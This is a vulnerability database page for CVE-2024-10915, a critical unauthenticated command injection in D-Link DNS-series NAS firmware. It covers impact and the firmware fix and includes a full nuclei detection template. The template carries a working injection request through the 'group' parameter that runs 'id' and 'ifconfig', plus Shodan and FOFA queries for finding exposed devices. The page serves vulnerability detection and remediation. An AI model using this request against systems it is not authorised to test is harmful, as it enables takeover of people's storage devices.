HexBrain

Browse / CVEs / CVE-2024-10915

CVE-2024-10915· dlink / dns-320 firmware· CWE-78, CWE-707

D-Link NAS - Command Injection via Group Parameter

criticalseverity
9.8CVSS score
83.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been rated as critical. Affected by this issue is the function cgi_user_add of the file /cgi-bin/account_mgr.cgi?cmd=cgi_user_add. The manipulation of the argument group leads to os command injection.

Impact

Unauthenticated attackers can execute arbitrary OS commands via the group parameter, potentially compromising the entire D-Link NAS device.

Fix

Update D-Link DNS-320, DNS-320LW, DNS-325, and DNS-340L firmware to versions released after 20241028.

How to confirm it

Send: GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group=%27;{{command}};%27
Positive when: regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body) or contains_all(body, 'inet addr:', 'Mask:') AND contains(body, "Content-type: text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-10915 -u <target>

The full check
id: CVE-2024-10915

info:
  name: D-Link NAS - Command Injection via Group Parameter
  author: s4e-io
  severity: critical
  description: |
    A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been rated as critical. Affected by this issue is the function cgi_user_add of the file /cgi-bin/account_mgr.cgi?cmd=cgi_user_add. The manipulation of the argument group leads to os command injection.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands via the group parameter, potentially compromising the entire D-Link NAS device.
  remediation: |
    Update D-Link DNS-320, DNS-320LW, DNS-325, and DNS-340L firmware to versions released after 20241028.
  reference:
    - https://www.usom.gov.tr/bildirim/tr-24-1836
    - https://netsecfish.notion.site/Command-Injection-Vulnerability-in-group-parameter-for-D-Link-NAS-12d6b683e67c803fa1a0c0d236c9a4c5?pvs=4
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10915
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-10915
    cwe-id: CWE-78,CWE-707
    epss-score: 0.83242
    epss-percentile: 0.99682
    cpe: cpe:2.3:o:dlink:dns-320_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: dlink
    product: dns-320_firmware
    shodan-query: http.html:"sharecenter"
    fofa-query: body="sharecenter"
  tags: cve,cve2024,dlink,sharecenter,rce,vuln,vkev

http:
  - raw:
      - |
        GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group=%27;{{command}};%27 HTTP/1.1
        Host: {{Hostname}}

    payloads:
      command:
        - "id"
        - "ifconfig"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)"
          - "contains_all(body, 'inet addr:', 'Mask:')"
        condition: or

      - type: dsl
        dsl:
          - 'contains(body, "Content-type: text/html")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from